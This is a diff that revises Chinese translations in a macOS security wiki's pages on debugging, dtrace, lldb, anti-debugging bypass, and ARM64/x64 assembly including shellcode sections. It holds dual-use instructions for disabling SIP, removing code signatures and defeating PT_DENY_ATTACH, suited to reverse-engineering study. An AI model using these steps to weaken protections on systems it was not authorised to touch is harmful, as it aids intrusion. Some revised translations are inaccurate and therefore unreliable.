__TEXT.__swift5_capture ``` 您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。 -此外,**Swift 二进制文件可能具有符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称: +此外,**Swift 二进制文件可能包含符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -204,7 +204,7 @@ swift demangle ## 动态分析 > [!WARNING] -> 请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并**移除签名**(`codesign --remove-signature `),或者允许调试该二进制文件(您可以使用 [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) +> 请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并使用 `codesign --remove-signature ` **移除签名**,或者允许调试该二进制文件(您可以使用 [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) > [!WARNING] > 请注意,为了在 macOS 上**插桩系统二进制文件**(例如 `cloudconfigurationd`),**必须禁用 SIP**(仅移除签名是无效的)。 @@ -222,9 +222,9 @@ macOS 暴露了一些有趣的 API,提供有关进程的信息: ### Sysdiagnose -该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,例如 `ps`、`zprint`... +该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,如 `ps`、`zprint`... -它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,例如 `com.apple.system-task-ports` 和 `get-task-allow`。 +它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,如 `com.apple.system-task-ports` 和 `get-task-allow`。 其 plist 位于 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`,声明了 3 个 MachServices: @@ -246,7 +246,7 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什 #### 中间面板 -在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过单击相应的图标: +在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过点击相应的图标:
@@ -254,7 +254,7 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
-此外,在**中间下方,您可以编写 python 命令**。 +此外,在**中间下方,您可以编写 Python 命令**。 #### 右侧面板 @@ -262,9 +262,9 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什 ### dtrace -它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户能够**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。 +它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。 -DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口点**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。 +DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。 > [!TIP] > 要在不完全禁用 SIP 保护的情况下启用 Dtrace,您可以在恢复模式下执行:`csrutil enable --without dtrace` @@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME 43 profile profile-97 44 profile profile-199 ``` -探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果您未指定名称的某个部分,Dtrace 将将该部分应用为通配符。 +探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果您没有指定名称的某个部分,Dtrace 将将该部分应用为通配符。 要配置 DTrace 以激活探针并指定触发时要执行的操作,我们需要使用 D 语言。 @@ -345,7 +345,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 要与 `kdebug` 进行接口,使用 `sysctl` 通过 `kern.kdebug` 命名空间,使用的 MIB 可以在 `sys/sysctl.h` 中找到,相关函数在 `bsd/kern/kdebug.c` 中实现。 -与 kdebug 进行交互的自定义客户端通常遵循以下步骤: +要与 kdebug 进行交互,通常步骤如下: - 使用 KERN_KDSETREMOVE 移除现有设置 - 使用 KERN_KDSETBUF 和 KERN_KDSETUP 设置跟踪 @@ -361,7 +361,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 ### ktrace -`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端可以直接调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 在特定代码上设置回调,然后使用 `ktrace_start` 启动它。 +`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端可以直接调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 来设置特定代码的回调,然后使用 `ktrace_start` 启动它。 即使在 **SIP 激活** 的情况下也可以使用这个。 @@ -373,13 +373,13 @@ ktrace trace -s -S -t c -c ls | grep "ls(" ### kperf -这用于进行内核级别的性能分析,并使用 `Kdebug` 调用构建。 +这用于进行内核级别的性能分析,使用 `Kdebug` 调用构建。 基本上,检查全局变量 `kernel_debug_active`,如果设置了它,则调用 `kperf_kdebug_handler`,传入 `Kdebug` 代码和调用的内核帧地址。如果 `Kdebug` 代码与所选的匹配,则获取配置为位图的“操作”(查看 `osfmk/kperf/action.h` 以获取选项)。 Kperf 还有一个 sysctl MIB 表: (作为 root) `sysctl kperf`。这些代码可以在 `osfmk/kperf/kperfbsd.c` 中找到。 -此外,Kperf 的一部分功能位于 `kpc` 中,它提供有关机器性能计数器的信息。 +此外,Kperf 功能的一个子集位于 `kpc` 中,提供有关机器性能计数器的信息。 ### ProcessMonitor @@ -420,7 +420,7 @@ fs_usage -w -f network curl #This tracks network actions ## PT_DENY_ATTACH -在 [**这篇博客文章**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) 中,你可以找到一个关于如何 **debug a running daemon** 的示例,该守护进程使用 **`PT_DENY_ATTACH`** 来防止调试,即使 SIP 被禁用。 +在 [**这篇博客文章**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) 中,你可以找到一个关于如何 **调试一个正在运行的守护进程** 的示例,该守护进程使用 **`PT_DENY_ATTACH`** 来防止调试,即使 SIP 被禁用。 ### lldb @@ -431,7 +431,7 @@ lldb -p 1122 lldb -n malware.bin lldb -n malware.bin --waitfor ``` -您可以通过在您的主文件夹中创建一个名为 **`.lldbinit`** 的文件,并添加以下行来设置 intel 风味: +您可以通过在您的主文件夹中创建一个名为 **`.lldbinit`** 的文件,并添加以下行来设置 intel 风格: ```bash settings set target.x86-disassembly-flavor intel ``` @@ -460,26 +460,26 @@ settings set target.x86-disassembly-flavor intel - 也可以通过简单的代码检查 **进程是否正在被调试**: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //进程正在被调试 }` - 它还可以调用 **`ptrace`** 系统调用,使用 **`PT_DENY_ATTACH`** 标志。这 **防止** 调试器附加和跟踪。 -- 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可能会动态导入它) -- 正如在这篇文章中所提到的,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\ +- 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可以动态导入它) +- 正如在这篇文章中所述,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\ “_消息 Process # exited with **status = 45 (0x0000002d)** 通常是调试目标使用 **PT_DENY_ATTACH** 的明显迹象_” ## 核心转储 -如果满足以下条件,则会创建核心转储: +核心转储在以下情况下创建: - `kern.coredump` sysctl 设置为 1(默认值) - 如果进程不是 suid/sgid 或 `kern.sugid_coredump` 为 1(默认值为 0) - `AS_CORE` 限制允许该操作。可以通过调用 `ulimit -c 0` 来抑制核心转储的创建,并通过 `ulimit -c unlimited` 重新启用它们。 -在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,并通常存储在 `/cores/core/.%P` 中。 +在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,通常存储在 `/cores/core/.%P` 中。 ## 模糊测试 ### [ReportCrash](https://ss64.com/osx/reportcrash.html) ReportCrash **分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含可以 **帮助开发人员诊断** 崩溃原因的信息。\ -对于在每个用户的 launchd 上下文中 **运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\ +对于在每个用户 launchd 上下文中 **运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\ 对于守护进程、在系统 launchd 上下文中 **运行的其他进程** 和其他特权进程,ReportCrash 作为 LaunchDaemon 运行,并将崩溃报告保存在系统的 `/Library/Logs/DiagnosticReports` 中。 如果您担心崩溃报告 **被发送到 Apple**,可以禁用它们。如果不担心,崩溃报告可以帮助 **找出服务器崩溃的原因**。 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 29815e719..06be1548f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -47,7 +47,7 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以 ### SIMD和浮点寄存器 -此外,还有另外**32个128位长度的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。 +此外,还有另外**32个128位长度的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点算术。这些称为Vn寄存器,尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。 ### 系统寄存器 @@ -74,7 +74,7 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以 - **`V`**表示操作产生了有符号溢出: - 两个正数的和产生负结果。 - 两个负数的和产生正结果。 -- 在减法中,当从较小的正数中减去较大的负数(或反之),结果无法在给定位大小的范围内表示。 +- 在减法中,当从较小的正数中减去较大的负数(或反之),结果无法在给定位数范围内表示。 - 显然,处理器不知道操作是否有符号,因此它将在操作中检查C和V,并在发生进位时指示是否为有符号或无符号。 > [!WARNING] @@ -96,7 +96,7 @@ ARM64调用约定规定,**前八个参数**通过寄存器**`x0`到`x7`**传 ### Swift中的调用约定 -Swift有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。 +Swift有自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。 ## **常见指令 (ARM64v8)** @@ -108,16 +108,16 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`** - 示例:`ldr x0, [x1]` — 这将从`x1`指向的内存位置加载一个值到`x0`。 - **偏移模式**:指示影响原始指针的偏移,例如: - `ldr x2, [x1, #8]`,这将加载`x1 + 8`中的值到`x2`。 -- `ldr x2, [x0, x1, lsl #2]`,这将从数组`x0`中加载一个对象,从位置`x1`(索引)\* 4。 +- `ldr x2, [x0, x1, lsl #2]`,这将从数组`x0`中加载一个对象,从位置`x1`(索引)\* 4到`x2`。 - **预索引模式**:这将对原始值应用计算,获取结果并将新原始值存储在原始值中。 - `ldr x2, [x1, #8]!`,这将加载`x1 + 8`到`x2`并将结果存储在`x1`中。 -- `str lr, [sp, #-4]!`,将链接寄存器存储在sp中并更新寄存器sp。 +- `str lr, [sp, #-4]!`,将链接寄存器存储在`sp`中并更新寄存器`sp`。 - **后索引模式**:这类似于前一个,但内存地址被访问,然后计算并存储偏移。 - `ldr x0, [x1], #8`,加载`x1`到`x0`并用`x1 + 8`更新`x1`。 - **PC相对寻址**:在这种情况下,加载的地址是相对于PC寄存器计算的。 - `ldr x1, =_start`,这将加载`_start`符号开始的地址到`x1`,与当前PC相关。 - **`str`**:**存储**一个值从一个**寄存器**到**内存**。 -- 示例:`str x0, [x1]` — 这将值从`x0`存储到`x1`指向的内存位置。 +- 示例:`str x0, [x1]` — 这将值存储在`x0`到`x1`指向的内存位置。 - **`ldp`**:**加载寄存器对**。此指令**从**连续的内存**位置加载两个寄存器。内存地址通常通过将偏移添加到另一个寄存器的值来形成。 - 示例:`ldp x0, x1, [x2]` — 这将从`x2`和`x2 + 8`的内存位置加载`x0`和`x1`。 - **`stp`**:**存储寄存器对**。此指令**将两个寄存器存储到**连续的内存**位置。内存地址通常通过将偏移添加到另一个寄存器的值来形成。 @@ -140,23 +140,23 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`** - 示例:`mul x0, x1, x2` — 这将`x1`和`x2`中的值相乘并将结果存储在`x0`中。 - **`div`**:**除以**一个寄存器的值并将结果存储在一个寄存器中。 - 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`并将结果存储在`x0`中。 -- **`lsl`**、**`lsr`**、**`asr`**、**`ror`、`rrx`**: -- **逻辑左移**:从末尾添加0,移动其他位向前(乘以n次2)。 -- **逻辑右移**:在开头添加1,移动其他位向后(无符号除以n次2)。 +- **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**: +- **逻辑左移**:从末尾添加0,移动其他位(乘以n次2)。 +- **逻辑右移**:从开头添加1,移动其他位(无符号除以n次2)。 - **算术右移**:类似于**`lsr`**,但如果最高有效位为1,则添加1(有符号除以n次2)。 - **右旋转**:类似于**`lsr`**,但从右侧移除的位附加到左侧。 - **带扩展的右旋转**:类似于**`ror`**,但将进位标志作为“最高有效位”。因此,进位标志移动到位31,移除的位移动到进位标志。 -- **`bfm`**:**位域移动**,这些操作**从一个值复制位`0...n`**并将其放置在**`m..m+n`**的位置。**`#s`**指定**最左边的位**位置,**`#r`**指定**右旋转量**。 +- **`bfm`**:**位域移动**,这些操作**从一个值中复制位`0...n`**并将其放置在**`m..m+n`**的位置。**`#s`**指定**最左边的位**位置,**`#r`**指定**右旋转量**。 - 位域移动:`BFM Xd, Xn, #r` - 有符号位域移动:`SBFM Xd, Xn, #r, #s` - 无符号位域移动:`UBFM Xd, Xn, #r, #s` - **位域提取和插入**:从一个寄存器复制位域并将其复制到另一个寄存器。 -- **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1。 +- **`BFI X1, X2, #3, #4`** 从X1的第3位插入X2的4位。 - **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取4位并复制到X1。 -- **`SBFIZ X1, X2, #3, #4`** 从X2的第3位开始提取4位并将其插入到X1,右侧位清零。 -- **`SBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,进行符号扩展,并将结果放入X1。 -- **`UBFIZ X1, X2, #3, #4`** 从X2的第3位开始提取4位并将其插入到X1,右侧位清零。 -- **`UBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位并将零扩展的结果放入X1。 +- **`SBFIZ X1, X2, #3, #4`** 从X2的4位进行符号扩展并插入到X1,从第3位开始,右侧位清零。 +- **`SBFX X1, X2, #3, #4`** 从X2的第3位提取4位,进行符号扩展,并将结果放入X1。 +- **`UBFIZ X1, X2, #3, #4`** 从X2的4位进行零扩展并插入到X1,从第3位开始,右侧位清零。 +- **`UBFX X1, X2, #3, #4`** 从X2的第3位提取4位,并将零扩展的结果放入X1。 - **符号扩展到X**:扩展一个值的符号(或在无符号版本中仅添加0),以便能够与其执行操作: - **`SXTB X1, W2`** 将W2的字节符号扩展到X1(`W2`是`X2`的一半),以填充64位。 - **`SXTH X1, W2`** 将W2的16位数的符号扩展到X1,以填充64位。 @@ -170,10 +170,10 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`** - **`cmn`**:**比较负**操作数。在这种情况下,它是**`adds`**的**别名**,并支持相同的语法。用于知道`m == -n`。 - **`ccmp`**:条件比较,它是仅在先前比较为真时执行的比较,并将特定设置nzcv位。 - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4,则跳转到func。 -- 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将被设置为0(这不会满足`blt`比较)。 +- 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将设置为0(这不会满足`blt`比较)。 - 这也可以用作`ccmn`(相同但为负,如`cmp`与`cmn`)。 -- **`tst`**:检查比较的值是否都为1(它的工作方式类似于不存储结果的AND)。用于检查寄存器与值的比较,并检查寄存器中指示的值的任何位是否为1。 -- 示例:`tst X1, #7` 检查X1的最后3位是否有1。 +- **`tst`**:检查比较的值是否都为1(它的工作方式类似于不存储结果的AND)。用于检查寄存器与值,并检查寄存器中指示的任何位是否为1。 +- 示例:`tst X1, #7` 检查X1的最后3位是否为1。 - **`teq`**:XOR操作,丢弃结果。 - **`b`**:无条件分支。 - 示例:`b myFunction`。 @@ -181,10 +181,10 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`** - **`bl`**:**带链接的分支**,用于**调用**一个**子例程**。将**返回地址存储在`x30`**中。 - 示例:`bl myFunction` — 这调用函数`myFunction`并将返回地址存储在`x30`中。 - 请注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)。 -- **`blr`**:**带链接到寄存器的分支**,用于**调用**一个**子例程**,目标在**寄存器**中**指定**。将返回地址存储在`x30`中。 -- 示例:`blr x1` — 这调用地址在`x1`中的函数,并将返回地址存储在`x30`中。 +- **`blr`**:**带链接的分支到寄存器**,用于**调用**一个**子例程**,目标在**寄存器**中**指定**。将返回地址存储在`x30`中。 +- 示例:`blr x1` — 这调用地址在`x1`中包含的函数,并将返回地址存储在`x30`中。 - **`ret`**:**从子例程返回**,通常使用**`x30`**中的地址。 -- 示例:`ret` — 这将使用`x30`中的返回地址从当前子例程返回。 +- 示例:`ret` — 这使用`x30`中的返回地址从当前子例程返回。 - **`b.`**:条件分支。 - **`b.eq`**:**如果相等则分支**,基于先前的`cmp`指令。 - 示例:`b.eq label` — 如果先前的`cmp`指令发现两个值相等,则跳转到`label`。 @@ -213,7 +213,7 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`** - **`ldrsw`**:**加载**一个有符号的**32位**值从内存并**符号扩展到64**位。 - 示例:`ldrsw x0, [x1]` — 这从`x1`指向的内存位置加载一个有符号的32位值,符号扩展到64位,并存储在`x0`中。 - **`stur`**:**将寄存器值存储到内存位置**,使用来自另一个寄存器的偏移。 -- 示例:`stur x0, [x1, #4]` — 这将值从`x0`存储到比当前在`x1`中的地址大4字节的内存地址。 +- 示例:`stur x0, [x1, #4]` — 这将值存储在`x0`到比当前在`x1`中的地址大4字节的内存地址。 - **`svc`**:进行**系统调用**。它代表“监督调用”。当处理器执行此指令时,它**从用户模式切换到内核模式**并跳转到内存中**内核的系统调用处理**代码所在的特定位置。 - 示例: @@ -240,7 +240,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (使用链接寄存器中的地址将控制权返回给调用者) +3. **Return**: `ret`(使用链接寄存器中的地址将控制权返回给调用者) ## AARCH32 执行状态 @@ -248,7 +248,7 @@ Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集** **特权** 64 位程序可以通过执行异常级别转移到较低特权的 32 位程序来调度 **32 位** 程序的 **执行**。\ 请注意,从 64 位到 32 位的过渡发生在异常级别降低时(例如,EL1 中的 64 位程序触发 EL0 中的程序)。这是通过在 `AArch32` 进程线程准备执行时将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,其余的 `SPSR_ELx` 存储 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器过渡到 **`AArch32`**,根据 CPSR 进入 A32 或 T32。\*\* -**`interworking`** 通过 CPSR 的 J 和 T 位发生。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\ +**`interworking`** 通过 CPSR 的 J 和 T 位发生。`J=0` 和 `T=0` 表示 **`A32`**,而 `J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\ 这在 **interworking 分支指令** 中设置,但也可以在 PC 设置为目标寄存器时通过其他指令直接设置。示例: 另一个示例: @@ -277,29 +277,29 @@ mov r0, #8 ### CPSR - 当前程序状态寄存器 -在AArch32中,CPSR的工作方式类似于AArch64中的**`PSTATE`**,并且在发生异常时也存储在**`SPSR_ELx`**中,以便稍后恢复执行: +在AArch32中,CPSR的工作方式类似于**`PSTATE`**在AArch64中,并且在发生异常时也存储在**`SPSR_ELx`**中,以便稍后恢复执行:
字段分为几个组: -- 应用程序状态寄存器(APSR):算术标志,从EL0可访问 +- 应用程序状态寄存器(APSR):算术标志,并可从EL0访问 - 执行状态寄存器:进程行为(由操作系统管理)。 #### 应用程序状态寄存器(APSR) - **`N`**、**`Z`**、**`C`**、**`V`** 标志(与AArch64相同) - **`Q`** 标志:每当执行专用饱和算术指令时,**整数饱和**发生时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何指令隐式检查其值,必须手动读取。 -- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。 +- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,如“并行加”和“并行减”。这些操作允许在单个指令中处理多个数据点。 -例如,**`UADD8`** 指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后**根据这些结果设置`GE`标志在`APSR`中**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。 +例如,**`UADD8`** 指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后**根据这些结果设置`APSR`中的`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。 **`SEL`** 指令使用这些GE标志执行条件操作。 #### 执行状态寄存器 - **`J`** 和 **`T`** 位:**`J`** 应为0,如果 **`T`** 为0,则使用指令集A32,如果为1,则使用T32。 -- **IT块状态寄存器**(`ITSTATE`):这些是10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。 +- **IT块状态寄存器**(`ITSTATE`):这些是从10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。 - **`E`** 位:指示**字节序**。 - **模式和异常掩码位**(0-4):它们确定当前执行状态。**第5位**指示程序以32位(1)或64位(0)运行。其他4位表示**当前使用的异常模式**(当发生异常并正在处理时)。设置的数字**指示当前优先级**,以防在处理此异常时触发另一个异常。 @@ -342,9 +342,9 @@ XNU 支持另一种称为机器依赖的调用。这些调用的数量取决于 ### objc_msgSend -在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用一个 Objective-C 对象的方法。 +在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用 Objective-C 对象的方法。 -参数([更多信息在文档中](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +参数([文档中更多信息](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> 指向实例的指针 - x1: op -> 方法的选择器 @@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="使用 adr 的 Linux"}} +{{#tab name="使用 adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index b6c7f1e4a..cd14c3c0f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -43,15 +43,15 @@ x64 指令集丰富,保持与早期 x86 指令的兼容性,并引入了新 - 示例:`pop rax` — 将堆栈顶部的值弹出到 `rax`。 - **`add`** 和 **`sub`**:**加法**和 **减法** 操作。 - 示例:`add rax, rcx` — 将 `rax` 和 `rcx` 中的值相加,并将结果存储在 `rax` 中。 -- **`mul`** 和 **`div`**:**乘法**和 **除法** 操作。注意:这些指令在操作数使用方面有特定行为。 +- **`mul`** 和 **`div`**:**乘法**和 **除法** 操作。注意:这些在操作数使用方面有特定行为。 - **`call`** 和 **`ret`**:用于 **调用** 和 **从函数返回**。 - **`int`**:用于触发软件 **中断**。例如,`int 0x80` 用于 32 位 x86 Linux 的系统调用。 -- **`cmp`**:**比较**两个值,并根据结果设置 CPU 的标志。 +- **`cmp`**:**比较**两个值并根据结果设置 CPU 的标志。 - 示例:`cmp rax, rdx` — 比较 `rax` 和 `rdx`。 - **`je`、`jne`、`jl`、`jge`、...**:**条件跳转**指令,根据先前的 `cmp` 或测试结果改变控制流。 - 示例:在 `cmp rax, rdx` 指令之后,`je label` — 如果 `rax` 等于 `rdx`,则跳转到 `label`。 -- **`syscall`**:用于某些 x64 系统(如现代 Unix)中的 **系统调用**。 -- **`sysenter`**:某些平台上的优化 **系统调用** 指令。 +- **`syscall`**:在某些 x64 系统(如现代 Unix)中用于 **系统调用**。 +- **`sysenter`**:在某些平台上的优化 **系统调用** 指令。 ### **Function Prologue** @@ -95,7 +95,7 @@ x64 指令集丰富,保持与早期 x86 指令的兼容性,并引入了新 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` -为了从 **Unix/BSD 类** 调用 `open` 系统调用 (**5**),你需要添加它:`0x2000000` +为了从 **Unix/BSD 类** 调用 `open` 系统调用 (**5**),您需要添加它:`0x2000000` 因此,调用 open 的系统调用编号将是 `0x2000005` @@ -188,7 +188,7 @@ syscall ``` {{#endtab}} -{{#tab name="with stack"}} +{{#tab name="使用堆栈"}} ```armasm bits 64 global _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 537603d93..00d6069c2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -74,7 +74,7 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi - **`__objc_nlclslist`** (`classref_t`): 指向此二进制文件中定义的非延迟 Objective-C 类的指针 - **`__objc_classlist`** (`classref_t`): 指向此二进制文件中定义的所有 Objective-C 类的指针 -它还使用 **`__TEXT`** 段中的一些部分来存储常量值,如果无法在此部分中写入: +它还使用 **`__TEXT`** 段中的一些部分来存储常量值,如果无法在此部分写入: - **`__objc_methname`** (C-String): 方法名称 - **`__objc_classname`** (C-String): 类名称 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index fabe80b98..45235fd59 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -12,7 +12,7 @@ - **/Library**: 可以在此找到许多与偏好设置、缓存和日志相关的子目录和文件。根目录和每个用户目录中都有一个 Library 文件夹。 - **/private**: 未记录,但许多提到的文件夹是指向私有目录的符号链接。 - **/sbin**: 重要的系统二进制文件(与管理相关) -- **/System**: 使 OS X 运行的文件。您在这里主要会找到 Apple 特定的文件(而不是第三方)。 +- **/System**: 使 OS X 运行的文件。您在这里主要会找到仅与 Apple 相关的文件(而非第三方)。 - **/tmp**: 文件在 3 天后被删除(这是指向 /private/tmp 的软链接) - **/Users**: 用户的主目录。 - **/usr**: 配置和系统二进制文件 @@ -75,14 +75,14 @@ 